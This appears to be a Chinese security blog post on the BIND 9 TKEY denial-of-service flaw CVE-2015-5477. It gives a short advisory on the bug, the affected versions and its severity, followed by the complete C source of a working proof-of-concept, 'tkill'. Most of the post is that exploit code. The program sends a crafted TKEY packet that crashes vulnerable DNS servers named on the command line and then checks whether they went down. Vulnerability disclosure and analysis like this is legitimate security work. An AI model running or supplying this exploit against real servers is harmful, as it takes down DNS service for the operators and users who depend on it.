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DNS服务器软件BIND 9 TKEY查询拒绝服务漏洞CVE-2015-5477 poc

 feng  1,085 ℃  0条点评

最近ISC曝出 BIND 9 TKEY查询拒绝服务漏洞(CNVD-2015-05040,对应CVE-2015-5477)。远程攻击者可通过构造TKEY查询攻击包,导致服务器拒绝服务。目前,厂商已经发布了补丁修补程序。

DNS服务器软件BIND 9 TKEY查询拒绝服务漏洞CVE-2015-5477 poc

CVE-2015-5477 poc

一、漏洞情况分析

ISC BIND是美国Internet Systems Consortium(ISC)公司所维护的一套DNS域名解析服务软件。该软件被披露存在拒绝服务漏洞,由于TKEY查询的错误可导致BIND服务器发生REQUIRE断言失败并停止服务,攻击者利用漏洞可恶意构造数据包,导致TKEY记录查询错误,进而导致BIND服务器发生REQUIRE断言失败并停止服务。CNVD对该漏洞的综合评级为“高危”。

二、漏洞影响范围

漏洞影响BIND 9所有版本(包括BIND 9.1.0版本至BIND 9.9.7-P1, BIND 9.10.0至BIND 9.10.2-P2版本),互联网上对应版本的递归服务器和权威服务器均受到该漏洞影响。根据实际使用情况评估,尽管TKEY查询功能使用较少,但由于基于漏洞构造的恶意攻击包有可能存在极强的前置条件,即使在服务器上配置访问控制列表或限制(拒绝)相关配置选项,也不能有效防范漏洞攻击。
CVE-2015-5477 poc如下

/*
    PoC for BIND9 TKEY assert Dos (CVE-2015-5477)
    Usage:
        tkill <hostname>
    What it does:
        - First sends a "version" query to see if the server is up.
        - Regardless of the version response, it then sends the DoS packet.
        - Then it waits 5 seconds for a response. If the server crashes,
          there will be no response.
    Notes:
        - multiple hostnames can be specified on the command-line
        - IP addresses can be specified instead of hostnames
        - supports IPv4 and IPv6
        - runs on Linux, Mac, and Windows (cygwin or VisualStudio)
        - if a hostname resolves to more than one IP, then all IPs
          will be probed
    About the vuln:
        For control information, the "TSIG" feature allows packets to be
        signed with a password. This allows slave servers to get updates
        from master servers without a MitM attack (like from the NSA)
        changing the data on the network.
        A password can be distributed out of band, such as SSHing into
        a box and editing the configuration file. Anther way is through
        public-keys. That's the "TKEY" feature: it distributes new
        TSIG passwords using public-keys.
        When processing a TKEY packet, the code will call a function to
        fetch the proper TKEY record. It looks in two places: the
        "answer records" section, and the "additional records" section.
        If it can't find it in the "additional", it looks in "answer".
        The lookup function takes a parameter that is initially set
        to NULL. During the failed lookup in the "additional" section,
        it may set that parameter to a non-null value. Since a non-null
        value is passed in again during the second lookup in the "answer"
        section, the code crashes.
        The patch was to set the variable to NULL before the second lookup.
        The correct fix would simply not check to see if the parameter
        was NULL to be begin with. It's an out-only parameter, so it's value
        on input doesn't matter.
        This is a just a "brainfart" bug that can only result in a crash
        of the server. It cann't result in data-corruption or code
        execution.
    About this code:
        To learn about writing network code, this is probably something useful
        to study.
        It works on both Windows and Unix (Linux, Mac, etc.). You can see where
        the differences are between the two platforms, as well as the simularities.
        It works on both IPv4 and IPv6. However, if you search through the code,
        you'll find nothing that specifically references either version. It's
        magically dual-stack. That's because it uses new functions like
        "getaddrinfo()" instead of old functions like "gethostbyname()".
Source: https://raw.githubusercontent.com/robertdavidgraham/cve-2015-5477/master/tkill.c
*/
#include <stdio.h>
#include <string.h>
#include <ctype.h>
#ifdef WIN32
#include <winsock2.h>
#include <ws2tcpip.h>
#pragma comment(lib, "Ws2_32.lib")
#define WSA(err) (WSA##err)
#define WSAEAGAIN WSAETIMEDOUT
#else
#include <unistd.h>
#include <sys/types.h>
#include <sys/socket.h>
#include <netdb.h>
#include <arpa/inet.h>
#include <errno.h>
#define WSAGetLastError() (errno)
#define WSA(err) (err)
#define closesocket(fd) close(fd)
#endif
/*
 * DoS packet that will crash server
 */
static const unsigned char dospacket[] = {
        0x01, 0x02, /* xid */
        0x01, 0x00, /* query */
        0x00, 0x01, /* one question */
        0x00, 0x00, /* no answer */
        0x00, 0x00, /* no authorities */
        0x00, 0x01, /* one additional: must be 'additional' section to work*/
        /* Query name */
        0x03, 'f', 'o', 'o', 0x03, 'b', 'a', 'r', 0x00,
        0x00, 249, /* TKEY record type */
        0x00, 255,
        /* Additional record  */
        0x03, 'f', 'o', 'o', 0x03, 'b', 'a', 'r', 0x00, /* name: must be same as query */
        0x00, 16, /* record type: must NOT be 249/TKEY */
        0x00, 255,
        0, 0, 0, 0,
        0, 51,
            50,
            'h', 't', 't', 'p', 's', ':', '/', '/',
            'g', 'i', 't', 'h', 'u', 'b', '.', 'c',
            'o', 'm', '/', 'r', 'o', 'b', 'e', 'r',
            't', 'd', 'a', 'v', 'i', 'd', 'g', 'r',
            'a', 'h', 'a', 'm', '/', 'c', 'v', 'e',
            '-', '2', '0', '1', '5', '-', '5', '4',
            '7', '7'
};
/*
 * Packet for querying the version of the server, to test if it's up
 */
static const unsigned char versionpacket[] = {
        0x03, 0x04, /* xid */
        0x01, 0x00, /* query */
        0x00, 0x01, /* one question */
        0x00, 0x00, /* no answer */
        0x00, 0x00, /* no authorities */
        0x00, 0x00, /* no additional */
        /* Query name */
        0x07, 'v', 'e', 'r', 's', 'i', 'o', 'n', 0x04, 'b', 'i', 'n', 'd', 0x00,
        0x00, 16, /* TXT */
        0x00, 3,    /* CHOAS */
};
/*
 * YOLO BIND version.bind query
 */
int query_version(int fd, const struct addrinfo *target)
{
    int bytes_received;
    int i;
    struct sockaddr_storage from;
    socklen_t sizeof_from = sizeof(from);
    char hostname[256];
    unsigned char buf[2048];
    int result = 0;
    /*
     * Query version
     */
    sendto(fd, (const char*)versionpacket, sizeof(versionpacket), 0,
            target->ai_addr, target->ai_addrlen);
    /*
     * get response
     */
again:
    bytes_received = recvfrom(fd, (char*)buf, sizeof(buf), 0, (struct sockaddr*)&from, &sizeof_from);
    if (bytes_received <= 0 && WSAGetLastError() == WSA(EAGAIN)) {
        fprintf(stderr, "[-] timed out getting version, trying again\n");
        return 0;
    } else if (bytes_received <= 0) {
        fprintf(stderr, "[-] unknown error receiving response: %u\n", WSAGetLastError());
        return 0;
    }
    getnameinfo((struct sockaddr*)&from, sizeof(from), hostname, sizeof(hostname), NULL, 0, NI_NUMERICHOST);
 
    /* 
     * parse response 
     */
    if (bytes_received < 12)
        goto again;
    if (buf[0] != versionpacket[0] && buf[1] != versionpacket[1])
        goto again;
    if ((buf[2]&0x80) != 0x80)
        goto again;
 
    /*
     * Handle respoonse code 
     */
    switch (buf[3]&0x0F) {
    case 0:
        /* parse packet below */
        break;
    case 1:
        fprintf(stderr, "[-] %s: FORMERR\n", hostname);
        return 1;
    case 2:
        fprintf(stderr, "[-] %s: SRVFAIL\n", hostname);
        return 1;
    case 3:
        fprintf(stderr, "[-] %s: NAMERR\n", hostname);
        return 1;
    case 4:
        fprintf(stderr, "[-] %s: NOTIMPL\n", hostname);
        return 1;
    case 5:
        fprintf(stderr, "[-] %s: REFUSED\n", hostname);
        return 1;
    default:
        fprintf(stderr, "[-] %s: unknown error: %u\n", hostname, buf[3]);
        return 1;
    }
 
 
    i = 12; /* skip header */
 
    /* 
     * skip query name 
     */
    while (i < bytes_received) {
        if (buf[i] == 0) {
            i++;
            break;
        } else if ((buf[i] & 0xC0) == 0xC0) {
            i += 2;
            break;
        } else {
            i += buf[i] + 1;
        }
    }
    i += 4;
 
    /* 
     * process all answers 
     */
    while (i + 12 <= bytes_received) {
        int t, c, len;
 
        /* skip answer name */
        while (i < bytes_received) {
            if (buf[i] == 0) {
                i++;
                break;
            } else if ((buf[i] & 0xC0) == 0xC0) {
                i += 2;
                break;
            } else {
                i += buf[i] + 1;
            }
        }
 
        /* extract resource-recorder header */
        if (i + 10 > bytes_received)
            break;
        t = buf[i+0]<<8 | buf[i+1];
        c = buf[i+2]<<8 | buf[i+3];
        len = buf[i+8]<<8 | buf[i+9];
        i += 10;
 
        /* verify TXT CHAOS */
        if (t != 16 || c != 3) {
            i += len;
            continue;
        }
 
        /* fix len */
        if (len > bytes_received - i)
            len = bytes_received - i;
        /* print the hostname */
        fprintf(stderr, "[+] %s: ", hostname);
        /* print the strings */
        {
            int j = i;
            i += len;
            while (j < i) {
                int len2 = buf[j];
                int k;
                j++;
                if (len2 > bytes_received - len2)
                    len2 = bytes_received - len2;
                fprintf(stderr, "\"");
                for (k=j; k<j+len2; k++) {
                    if (buf[k] == '\\')
                        fprintf(stderr, "\\");
                    else if (!isprint(buf[k]))
                        fprintf(stderr, "\\x%02x", buf[k]);
                    else
                        fprintf(stderr, "%c", buf[k]);
                }
 
                j = k;
 
                fprintf(stderr, "\" ");
            }
            fprintf(stderr, "\n");
        }
        result = 1;
    }
    return result;
}
 
/*
 * Send the DoS packet
 */
void probe(const struct addrinfo *target)
{
    int fd;
    int x;
    int i;
    char hostname[256];
    char buf[2048];
    struct sockaddr_storage from;
    socklen_t sizeof_from = sizeof(from);
     
         
    /*
     * Print status
     */
    getnameinfo(target->ai_addr, target->ai_addrlen, hostname, sizeof(hostname), NULL, 0, NI_NUMERICHOST);
    fprintf(stderr, "[+] %s: Probing...\n", hostname);
    /*
     * Create a socket
     */
    fd = socket(target->ai_family, SOCK_DGRAM, 0);
    if (fd <= 0) {
        fprintf(stderr, "[-] failed: socket(): %u\n", WSAGetLastError());
        return;
    }
 
    /*
     * Set the timeout to 5-seconds
     */
    {
#ifdef WIN32
        int milliseconds = 5000;
        x = setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (char*)&milliseconds, sizeof(milliseconds));
#else
        struct timeval t;
        t.tv_sec = 5;
        t.tv_usec = 0;
        x = setsockopt(fd, SOL_SOCKET, SO_RCVTIMEO, (char*)&t, sizeof(t));
#endif
 
        if (x != 0) {
            fprintf(stderr, "[-] err setting recv timeout: %u\n", WSAGetLastError());
        }
    }
 
 
    /*
     * First, query the server to grab its version, but also to see it's up
     */
    fprintf(stderr, "[+] Querying version...\n");
    for (i=0; i<3; i++) {
        if (query_version(fd, target))
            break;
        if (i == 2) {
            fprintf(stderr, "[-] Can't query server, is it crashed already?\n");
            fprintf(stderr, "[-] Sending exploit anyway.\n");
        }
    }
 
 
    /*****************
     * SEND DoS PACKET
     *****************/
    fprintf(stderr, "[+] Sending DoS packet...\n");
    sendto(fd, (const char*)dospacket, sizeof(dospacket), 0, target->ai_addr, target->ai_addrlen);
    /* Grab response */
    fprintf(stderr, "[+] Waiting 5-sec for response...\n");
    for (;;) {
        x = recvfrom(fd, (char*)buf, sizeof(buf), 0, (struct sockaddr*)&from, &sizeof_from);
        if (x <= 0 && WSAGetLastError() == WSA(EAGAIN)) {
            fprintf(stderr, "[+] timed out, probably crashed\n");
            break;
        } else if (x <= 0) {
            fprintf(stderr, "[-] unknown error receiving response: %u\n", WSAGetLastError());
            break;;
        }
 
        if (x > 2 && (buf[0] != dospacket[0] || buf[1] != dospacket[1]))
            continue;
        getnameinfo((struct sockaddr*)&from, sizeof(from), hostname, sizeof(hostname), NULL, 0, NI_NUMERICHOST);
        fprintf(stderr, "[-] %s: got response, so probably not vulnerable\n", hostname);
        break;
    }
    closesocket(fd);
}
/*
 * The main function just parses the arguments and looks up IP addrsses
 * before calling the "probe" function to actually exploit the targets
 */
int main(int argc, char *argv[])
{
    int i;
#ifdef WIN32
    {WSADATA x; WSAStartup(0x101, &x);}
#endif
    fprintf(stderr, "--- PoC for CVE-2015-5477 BIND9 TKEY assert DoS ---\n");
    if (argc <= 1) {
        fprintf(stderr, "[-] no host specified\n");
        fprintf(stderr, "usage:\n tkill <hostname>\n");
        return -1;
    }
    /*
     * Query all targets specified on the command line
     */
    for (i=1; i<argc; i++) {
        const char *hostname = argv[i];
        struct addrinfo *info;
        struct addrinfo *target;
        char oldtarget[256] = "";
        int x;
 
        /*
         * Lookup the name of the target
         */
        fprintf(stderr, "[+] %s: Resolving to IP address\n", hostname);
        x = getaddrinfo(hostname, "53", 0, &info);
        if (x != 0) {
            fprintf(stderr, "[-] %s: failed: %s\n", hostname, gai_strerror(x));
            continue;
        }
 
        if (info->ai_next) {
            fprintf(stderr, "[+] %s: Resolved to multiple IPs (NOTE)\n", hostname);
        }
        /*
         * Since a name can return multiple IP addresses,
         * send a probe to all the results
         */
        for (target=info; target; target = target->ai_next) {
            char newtarget[256];
            /* bah, stupid bug in Linux gets the same target multiple
             * times */
            getnameinfo(target->ai_addr, target->ai_addrlen, newtarget, sizeof(newtarget), NULL, 0, NI_NUMERICHOST);
            if (strcmp(newtarget, oldtarget) == 0)
                continue;
            memcpy(oldtarget, newtarget, sizeof(oldtarget));
            probe(target);
            printf("\n");
        }
        /*
         * Cleanup
         */
        freeaddrinfo(info);
    }
    return 0;
}

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